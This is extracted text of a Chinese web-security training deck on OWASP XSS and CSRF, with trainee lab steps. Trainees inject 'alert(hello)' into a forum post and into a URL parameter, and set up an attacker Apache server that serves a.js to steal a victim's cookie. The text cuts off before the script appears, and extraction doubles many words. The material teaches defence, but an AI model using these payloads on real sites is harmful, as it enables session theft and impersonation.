62、本:OWASP 2007 Top 1 and Top5A1跨站脚本Cross Site Scripting,简称为XSS如果Web应用没有对攻击者的输入进行适当的编码和过滤,就转发给其他用户的浏览器时,可能导致XSS漏洞。攻击者可利用XSS在其他用户的浏览器中运行恶意脚本,偷窃用户的会话,或是偷偷模拟用户执行非法的操作;发帖子,发消息脚本脚本:Web浏览器可以执行HTML页面中嵌入的脚本命令,支持多种语言类型(JavaScript,VBScript,ActiveX,etc.),其中最主要的是JavaScript.跨站的含义跨站的含义:攻击者制造恶意脚本,并通过Web服务器转发给普通用户客户端,

63、在其浏览器中执行。可能导致的攻击类型:可能导致的攻击类型:盗取用户身份,拒绝服务攻击,篡改网页模拟用户身份发起请求或执行命令(及OWASP TOP 5 CSRF,在此一起介绍)蠕虫,等等Bubble113持久持久XSS-攻击简介(攻击简介(Persistent XSS)1.正常服务器信息2.服务器存储恶意代码3.用户浏览网页4.服务器将恶意代码返回给用户5.客户端浏览器执行恶意代码攻击者攻击者普通用户客户端普通用户客户端WebWeb服务器服务器在论坛发帖子:免费获取Q币!恶意代码 重要通知重要通知Re:沙发!Re:地板?Re:地下室沙发Re:地下室地板-_-!Re:免费获取Q币!内容:恶意代码

64、Re:谁又发垃圾广告啦?恶意代码恶意代码 执行!执行!21345114持久持久XSS攻击实验攻击实验Step 1.以test用户登录培训论坛发表新帖子,内容如下:alert(hello)学员练习学员练习3Min115持久持久XSS攻击实验攻击实验Step 2.以admin用户登录培训论坛浏览刚才那个新帖子。学员练习学员练习3Min恶意代码恶意代码 执行!执行!116浏览器浏览器Outlook正常访问恶意代码隐藏在链接中“reflected”代码1反射反射XSS-攻击简介(攻击简介(Reflected XSS)From:攻击者To:用户免费赠送Q币!CLICK HERE恶意代码安全上下文:目标站

65、点普通合法会话安全上下文:目标站点攻击者攻击者WebWeb服务器服务器普通用户客户端普通用户客户端12345恶意代码恶意代码 执行!执行!117反射反射XSS攻击实验攻击实验Step 1.以test用户登录培训论坛发表新帖子,在浏览器网址处修改Forum_Title参数,观察结果:学员练习学员练习3MinURL中的字符通过服务器“反射”到浏览器中118反射反射XSS攻击实验攻击实验Step 1.把Forum_Title修改为:alert(hello)学员练习学员练习3MinURL中的字符通过服务器“反射”到浏览器中恶意代码恶意代码 执行!执行!119什么是什么是CSRF?案例:案例:支持通过保

66、留cookie自动登录的功能,这样在cookie有效期内,用户访问就会以他们上次在此主机登录的用户名自动登录(例如Gmail的Remember me on this computer)。另外,上有个链接可以通过get直接给指定对象转账,例如:http:/ Case 1:反射反射XSS偷窃偷窃CookieStep 1.准备工作:攻击者本机需要安装Web Server(以Apache为例),确认受害者能够连接到该服务器(如下图第5点所示);启动apache服务器;将a.js拷贝到apache/htdocs目录下,并本地试验能够下载http:/ip/a.js文件学员练习学员练习15Min浏览器浏览器Outlook正常访问恶意代码隐藏在链接中“reflected”代码1免费赠送Q币!CLICK HERE安全上下文:目标站点安全上下文:目标站点攻击者攻击者WebWeb服务器服务器受害者客户端受害者客户端12345恶意代码恶意代码 执行!执行!192.168.230.1192.168.230.2192.168.230.2123XSS Case 1:反射反射XSS偷窃偷窃Cookiea.js内容如下

展开阅读全文
温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!